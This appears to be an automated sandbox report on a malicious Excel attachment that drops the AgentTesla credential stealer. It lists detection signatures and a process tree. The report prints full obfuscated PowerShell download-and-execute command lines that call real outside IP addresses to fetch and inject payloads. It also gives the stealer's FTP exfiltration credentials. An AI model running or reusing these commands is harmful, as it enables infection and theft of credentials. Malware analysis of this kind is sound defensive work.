Edit tour

Windows Analysis Report
Cuentas bancarias y cdigo ##Swift incorrecto.xla.xlsx

Overview

General Information

Sample name:	Cuentas bancarias y cdigo ##Swift incorrecto.xla.xlsx
Analysis ID:	1467088
MD5:	b3b485912e2457ca61dc4481e204385a
SHA1:	823436e03fcfc203877217d95fbb6ca3bfb78b31
SHA256:	896a8259f8f9e5591c8f6bc3346c0b123a6b50efde85fbe8e913d1ec5af9f3a7
Tags:	xlaxlsx
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected AgentTesla

Yara detected Powershell download and execute

Yara detected obfuscated html page

.NET source code contains potential unpacker

.NET source code references suspicious native API functions

Check if machine is in data center or colocation facility

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to log keystrokes (.Net Source)

Document exploit detected (process start blacklist hit)

Excel sheet contains many unusual embedded objects

Injects a PE file into a foreign processes

Installs new ROOT certificates

Machine Learning detection for sample

Microsoft Office drops suspicious files

Obfuscated command line found

PowerShell case anomaly found

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: File With Uncommon Extension Created By An Office Application

Sigma detected: Potential PowerShell Command Line Obfuscation

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: Script Initiated Connection to Non-Local Network

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: Suspicious Microsoft Office Child Process

Sigma detected: WScript or CScript Dropper

Suspicious command line found

Suspicious execution chain found

Suspicious powershell command line found

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Checks if the current process is being debugged

Compiles C# or VB.Net code

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected potential crypto function

Document contains embedded VBA macros

Document embeds suspicious OLE2 link

Document misses a certain OLE stream usually present in this Microsoft Office document type

Drops PE files

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for the Microsoft Outlook file path

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Excel Network Connections

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: Script Initiated Connection

Sigma detected: Suspicious DNS Query for IP Lookup Service APIs

Sigma detected: Suspicious Office Outbound Connections

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 1704 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

mshta.exe (PID: 1100 cmdline: C:\Windows\System32\mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5)

cmd.exe (PID: 540 cmdline: "C:\Windows\system32\cmd.exe" "/C poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))" MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)

powershell.exe (PID: 2988 cmdline: poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D)

csc.exe (PID: 3160 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\cboglgly\cboglgly.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1)

cvtres.exe (PID: 3172 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC2C3.tmp" "c:\Users\user\AppData\Local\Temp\cboglgly\CSC66221087E6254F6E92E0F9138CFEC2C1.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

wscript.exe (PID: 3264 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\eveningfiledatinglover.vBS" MD5: 045451FA238A75305CC26AC982472367)

powershell.exe (PID: 3324 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(('Y0ulink = xR'+'mhttp://91.92.254.194/imge/new-image_v.jpg'+'xRm; Y0uwebC'+'lient = New-Object System.Net.WebClient; try { Y0udownlo'+'adedData '+'= Y0uwebClient.DownloadD'+'ata(Y0ulink) } catch { Write-'+'Host xRmFailed To download data from Y0ulinkxRm -ForegroundC'+'olor Red; exit }; if (Y0udownloadedData -ne Y0unull) { Y0uima'+'geText = [System.T'+'ext'+'.Encoding'+']::UTF8.'+'GetString(Y0udownloadedData); Y0ustartFlag = xRm<<B'+'ASE64_START>>xRm; Y0uendFlag = xRm<<BASE64_EN'+'D>>xRm; Y0ustartIndex = Y0uimageText.IndexOf(Y0ustartFlag); Y0uendIn'+'dex = Y0uimageText.IndexOf(Y0uendFlag); if (Y0ustartIndex -ge '+'0'+' -and Y0uendInd'+'ex -gt Y0'+'ustartInde'+'x) { Y0ustartIndex += Y0ustartFlag.Length; Y0ubase64Lengt'+'h = Y0uendIndex - Y0ustartIndex; Y0ubase'+'64Command = Y0uimageText.Su'+'bstring(Y0ustartIndex, Y0ubase64Length); Y0ucommandBytes = [System.Convert]::FromBase64String(Y0ubase64Command); Y0uloadedAssembly = [System.Reflec'+'tion.Assem'+'bly]::L'+'oad(Y0ucommandBytes); Y0utype = Y0uloadedAssembly.GetType(xRm'+'RunPE.Hom'+'exRm); Y0umethod = Y0utype'+'.GetMethod(xRmV'+'AIx'+'Rm).Invoke(Y0unull, [object[]] (xRmtxt.44'+'46sabbbbbbbewmadam/441.871.64.891//:ptthxRm , xRmdesativadoxRm , xRmdesativadoxRm , xRm'+'desativadox'+'Rm,xRmAddInProcess32xRm,xRmxRm)) } }') -rePlacE 'xRm',[ChAR]39 -rePlacE ([ChAR]89+[ChAR]48+[ChAR]117),[ChAR]36)|IEX" MD5: A575A7610E5F003CC36DF39E07C4BA7D)

AddInProcess32.exe (PID: 3440 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" MD5: EFBCDD2A3EBEA841996AEF00417AA958)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "FTP", "Host": "ftp://ftp.fosna.net", "Username": "madamweb@fosna.net", "Password": "=A+N^@~c]~#I"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\EvengIEcache[1].hta	JoeSecurity_Obshtml	Yara detected obfuscated html page	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000000E.00000002.618907462.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000002.618907462.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000E.00000002.619170569.0000000002465000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.510894342.000000001241D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.510894342.000000001241D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: powershell.exe PID: 3324	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 3324	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: powershell.exe PID: 3324	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: powershell.exe PID: 3324	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x862:$b2: ::FromBase64String( 0x82a8:$b2: ::FromBase64String( 0x6044a:$b2: ::FromBase64String( 0x609e8:$b2: ::FromBase64String( 0x61187:$b2: ::FromBase64String( 0x618e0:$b2: ::FromBase64String( 0x66ed4:$b2: ::FromBase64String( 0x67470:$b2: ::FromBase64String( 0x1e7d4f:$b2: ::FromBase64String( 0x21b9c8:$b2: ::FromBase64String( 0x21bf64:$b2: ::FromBase64String( 0x21d086:$b2: ::FromBase64String( 0x28cee9:$b2: ::FromBase64String( 0x28d494:$b2: ::FromBase64String( 0x29515d:$b2: ::FromBase64String( 0x2956fa:$b2: ::FromBase64String( 0x29625b:$b2: ::FromBase64String( 0x29a1b5:$b2: ::FromBase64String( 0x29b07b:$b2: ::FromBase64String( 0x29c474:$b2: ::FromBase64String( 0x29c8a6:$b2: ::FromBase64String(
Process Memory Space: AddInProcess32.exe PID: 3440	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: AddInProcess32.exe PID: 3440	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
14.2.AddInProcess32.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
14.2.AddInProcess32.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
14.2.AddInProcess32.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
14.2.AddInProcess32.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x34429:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3449b:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x34525:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x345b7:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x34621:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x34693:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x34729:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x347b9:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
14.2.AddInProcess32.exe.400000.0.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x31623:$s2: GetPrivateProfileString 0x30cdb:$s3: get_OSFullName 0x3234c:$s5: remove_Key 0x324e3:$s5: remove_Key 0x3347a:$s6: FtpWebRequest 0x3440b:$s7: logins 0x3497d:$s7: logins 0x376f6:$s7: logins 0x37740:$s7: logins 0x39095:$s7: logins 0x382da:$s9: 1.85 (Hash, version 2, native byte-order)
12.2.powershell.exe.12778558.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
12.2.powershell.exe.12778558.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
12.2.powershell.exe.12778558.2.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x32629:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3269b:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x32725:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x327b7:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x32821:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x32893:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x32929:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x329b9:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
12.2.powershell.exe.12778558.2.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x2f823:$s2: GetPrivateProfileString 0x2eedb:$s3: get_OSFullName 0x3054c:$s5: remove_Key 0x306e3:$s5: remove_Key 0x3167a:$s6: FtpWebRequest 0x3260b:$s7: logins 0x32b7d:$s7: logins 0x358f6:$s7: logins 0x35940:$s7: logins 0x37295:$s7: logins 0x364da:$s9: 1.85 (Hash, version 2, native byte-order)
12.2.powershell.exe.12778558.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
12.2.powershell.exe.12778558.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
12.2.powershell.exe.12778558.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
12.2.powershell.exe.12778558.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x34429:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6fc61:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3449b:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6fcd3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x34525:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6fd5d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x345b7:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6fdef:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x34621:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6fe59:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x34693:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6fecb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x34729:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6ff61:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x347b9:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x6fff1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
12.2.powershell.exe.12778558.2.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x31623:$s2: GetPrivateProfileString 0x6ce5b:$s2: GetPrivateProfileString 0x30cdb:$s3: get_OSFullName 0x6c513:$s3: get_OSFullName 0x3234c:$s5: remove_Key 0x324e3:$s5: remove_Key 0x6db84:$s5: remove_Key 0x6dd1b:$s5: remove_Key 0x3347a:$s6: FtpWebRequest 0x6ecb2:$s6: FtpWebRequest 0x3440b:$s7: logins 0x3497d:$s7: logins 0x376f6:$s7: logins 0x37740:$s7: logins 0x39095:$s7: logins 0x6fc43:$s7: logins 0x701b5:$s7: logins 0x72f2e:$s7: logins 0x72f78:$s7: logins 0x748cd:$s7: logins 0x382da:$s9: 1.85 (Hash, version 2, native byte-order)
Click to see the 9 entries

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(('Y0ulink = xR'+'mhttp://91.92.254.194/imge/new-image_v.jpg'+'xRm; Y0uwebC'+'lient = New-Object System.Net.WebClient; try { Y0udownlo'+'adedData '+'= Y0uwebClient.DownloadD'+'ata(Y0ulink) } catch { Write-'+'Host xRmFailed To download data from Y0ulinkxRm -ForegroundC'+'olor Red; exit }; if (Y0udownloadedData -ne Y0unull) { Y0uima'+'geText = [System.T'+'ext'+'.Encoding'+']::UTF8.'+'GetString(Y0udownloadedData); Y0ustartFlag = xRm<<B'+'ASE64_START>>xRm; Y0uendFlag = xRm<<BASE64_EN'+'D>>xRm; Y0ustartIndex = Y0uimageText.IndexOf(Y0ustartFlag); Y0uendIn'+'dex = Y0uimageText.IndexOf(Y0uendFlag); if (Y0ustartIndex -ge '+'0'+' -and Y0uendInd'+'ex -gt Y0'+'ustartInde'+'x) { Y0ustartIndex += Y0ustartFlag.Length; Y0ubase64Lengt'+'h = Y0uendIndex - Y0ustartIndex; Y0ubase'+'64Command = Y0uimageText.Su'+'bstring(Y0ustartIndex, Y0ubase64Length); Y0ucommandBytes = [System.Convert]::FromBase64String(Y0ubase64Command); Y0uloadedAssembly = [System.Reflec'+'tion.Assem'+'bly]::L'+'oad(Y0ucommandBytes); Y0utype = Y0uloadedAssembly.GetType(xRm'+'RunPE.Hom'+'exRm); Y0umethod = Y0utype'+'.GetMethod(xRmV'+'AIx'+'Rm).Invoke(Y0unull, [object[]] (xRmtxt.44'+'46sabbbbbbbewmadam/441.871.64.891//:ptthxRm , xRmdesativadoxRm , xRmdesativadoxRm , xRm'+'desativadox'+'Rm,xRmAddInProcess32xRm,xRmxRm)) } }') -rePlacE 'xRm',[ChAR]39 -rePlacE ([ChAR]89+[ChAR]48+[ChAR]117),[ChAR]36)|IEX", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(('Y0ulink = xR'+'mhttp://91.92.254.194/imge/new-image_v.jpg'+'xRm; Y0uwebC'+'lient = New-Object System.Net.WebClient; try { Y0udownlo'+'adedData '+'= Y0uwebClient.DownloadD'+'ata(Y0ulink) } catch { Write-'+'Host xRmFailed To download data from Y0ulinkxRm -ForegroundC'+'olor Red; exit }; if (Y0udownloadedData -ne Y0unull) { Y0uima'+'geText = [System.T'+'ext'+'.Encoding'+']::UTF8.'+'GetString(Y0udownloadedData); Y0ustartFlag = xRm<<B'+'ASE64_START>>xRm; Y0uendFlag = xRm<<BASE64_EN'+'D>>xRm; Y0ustartIndex = Y0uimageText.IndexOf(Y0ustartFlag); Y0uendIn'+'dex = Y0uimageText.IndexOf(Y0uendFlag); if (Y0ustartIndex -ge '+'0'+' -and Y0uendInd'+'ex -gt Y0'+'ustartInde'+'x) { Y0ustartIndex += Y0ustartFlag.Length; Y0ubase64Lengt'+'h = Y0uendIndex - Y0ustartIndex; Y0ubase'+'64Command = Y0uimageText.Su'+'bstring(Y0ustartIndex, Y0ubase64Length); Y0ucommandBytes = [System.Convert]::FromBase64String(Y0ubase64Command); Y0uloadedAssembly = [System.Reflec'+'tion.Assem'+'bly]::L'+'oad(Y0ucommandBytes); Y0utype = Y0uloadedAssembly.GetType(xRm'+'RunPE.Hom'+'exRm); Y0umethod = Y0utype'+'.GetMethod(xRmV'+'AIx'+'Rm).Invoke(Y0unull, [object[]] (xRmtxt.44'+'46sabbbbbbbewmadam/441.871.64.891//:ptthxRm , xRmdesativadoxRm , xRmdesativadoxRm , xRm'+'desativadox'+'Rm,xRmAddInProcess32xRm,xRmxRm)) } }') -rePlacE 'xRm',[ChAR]39 -rePlacE ([ChAR]89+[ChAR]48+[ChAR]117),[ChAR]36)|IEX", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1

Sigma detected: File With Uncommon Extension Created By An Office Application

Source: File created

Author: Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule), Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ProcessId: 1704, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\EvengIEcache[1].hta

Sigma detected: Potential PowerShell Command Line Obfuscation

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(('Y0ulink = xR'+'mhttp://91.92.254.194/imge/new-image_v.jpg'+'xRm; Y0uwebC'+'lient = New-Object System.Net.WebClient; try { Y0udownlo'+'adedData '+'= Y0uwebClient.DownloadD'+'ata(Y0ulink) } catch { Write-'+'Host xRmFailed To download data from Y0ulinkxRm -ForegroundC'+'olor Red; exit }; if (Y0udownloadedData -ne Y0unull) { Y0uima'+'geText = [System.T'+'ext'+'.Encoding'+']::UTF8.'+'GetString(Y0udownloadedData); Y0ustartFlag = xRm<<B'+'ASE64_START>>xRm; Y0uendFlag = xRm<<BASE64_EN'+'D>>xRm; Y0ustartIndex = Y0uimageText.IndexOf(Y0ustartFlag); Y0uendIn'+'dex = Y0uimageText.IndexOf(Y0uendFlag); if (Y0ustartIndex -ge '+'0'+' -and Y0uendInd'+'ex -gt Y0'+'ustartInde'+'x) { Y0ustartIndex += Y0ustartFlag.Length; Y0ubase64Lengt'+'h = Y0uendIndex - Y0ustartIndex; Y0ubase'+'64Command = Y0uimageText.Su'+'bstring(Y0ustartIndex, Y0ubase64Length); Y0ucommandBytes = [System.Convert]::FromBase64String(Y0ubase64Command); Y0uloadedAssembly = [System.Reflec'+'tion.Assem'+'bly]::L'+'oad(Y0ucommandBytes); Y0utype = Y0uloadedAssembly.GetType(xRm'+'RunPE.Hom'+'exRm); Y0umethod = Y0utype'+'.GetMethod(xRmV'+'AIx'+'Rm).Invoke(Y0unull, [object[]] (xRmtxt.44'+'46sabbbbbbbewmadam/441.871.64.891//:ptthxRm , xRmdesativadoxRm , xRmdesativadoxRm , xRm'+'desativadox'+'Rm,xRmAddInProcess32xRm,xRmxRm)) } }') -rePlacE 'xRm',[ChAR]39 -rePlacE ([ChAR]89+[ChAR]48+[ChAR]117),[ChAR]36)|IEX", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(('Y0ulink = xR'+'mhttp://91.92.254.194/imge/new-image_v.jpg'+'xRm; Y0uwebC'+'lient = New-Object System.Net.WebClient; try { Y0udownlo'+'adedData '+'= Y0uwebClient.DownloadD'+'ata(Y0ulink) } catch { Write-'+'Host xRmFailed To download data from Y0ulinkxRm -ForegroundC'+'olor Red; exit }; if (Y0udownloadedData -ne Y0unull) { Y0uima'+'geText = [System.T'+'ext'+'.Encoding'+']::UTF8.'+'GetString(Y0udownloadedData); Y0ustartFlag = xRm<<B'+'ASE64_START>>xRm; Y0uendFlag = xRm<<BASE64_EN'+'D>>xRm; Y0ustartIndex = Y0uimageText.IndexOf(Y0ustartFlag); Y0uendIn'+'dex = Y0uimageText.IndexOf(Y0uendFlag); if (Y0ustartIndex -ge '+'0'+' -and Y0uendInd'+'ex -gt Y0'+'ustartInde'+'x) { Y0ustartIndex += Y0ustartFlag.Length; Y0ubase64Lengt'+'h = Y0uendIndex - Y0ustartIndex; Y0ubase'+'64Command = Y0uimageText.Su'+'bstring(Y0ustartIndex, Y0ubase64Length); Y0ucommandBytes = [System.Convert]::FromBase64String(Y0ubase64Command); Y0uloadedAssembly = 